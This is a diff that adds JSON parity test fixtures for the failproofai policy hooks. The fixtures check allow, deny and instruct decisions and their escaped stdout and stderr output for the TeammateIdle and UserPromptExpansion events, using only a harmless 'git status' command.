b/__tests__/parity/fixtures/openclaw/TeammateIdle/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/TeammateIdle/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/TeammateIdle/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..7a92e170 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/TeammateIdle/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/TeammateIdle/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/TeammateIdle/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..4ba4c8f2 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/TeammateIdle/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/TeammateIdle/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/TeammateIdle/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..3da7a5c6 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/TeammateIdle/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/TeammateIdle/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/TeammateIdle/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..1b08965f --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/TeammateIdle/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/TeammateIdle/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/TeammateIdle/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..625d820b --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/TeammateIdle/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/TeammateIdle/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/TeammateIdle/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..f3585744 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/TeammateIdle/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/TeammateIdle/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/TeammateIdle/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..fec48ff4 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/TeammateIdle/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/TeammateIdle/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/TeammateIdle/deny__tool-present__one-policy.json new file mode 100644 index 00000000..7374cd5d --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/TeammateIdle/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/TeammateIdle/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/TeammateIdle/deny__tool-present__two-policies.json new file mode 100644 index 00000000..dde98ba6 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/TeammateIdle/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/TeammateIdle/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/TeammateIdle/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..ea738f22 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/TeammateIdle/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/TeammateIdle/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/TeammateIdle/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..ed15a3d2 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/TeammateIdle/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/TeammateIdle/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/TeammateIdle/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..7c3e6413 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/TeammateIdle/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/TeammateIdle/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/TeammateIdle/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..52f69ed3 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/TeammateIdle/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/UserPromptExpansion/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/UserPromptExpansion/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..5e97935f --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/UserPromptExpansion/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/UserPromptExpansion/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/UserPromptExpansion/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..f43475cb --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/UserPromptExpansion/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/UserPromptExpansion/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/UserPromptExpansion/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..0241740c --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/UserPromptExpansion/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/UserPromptExpansion/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/UserPromptExpansion/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..c71206aa --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/UserPromptExpansion/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/UserPromptExpansion/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/UserPromptExpansion/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..9887fa79 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/UserPromptExpansion/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": 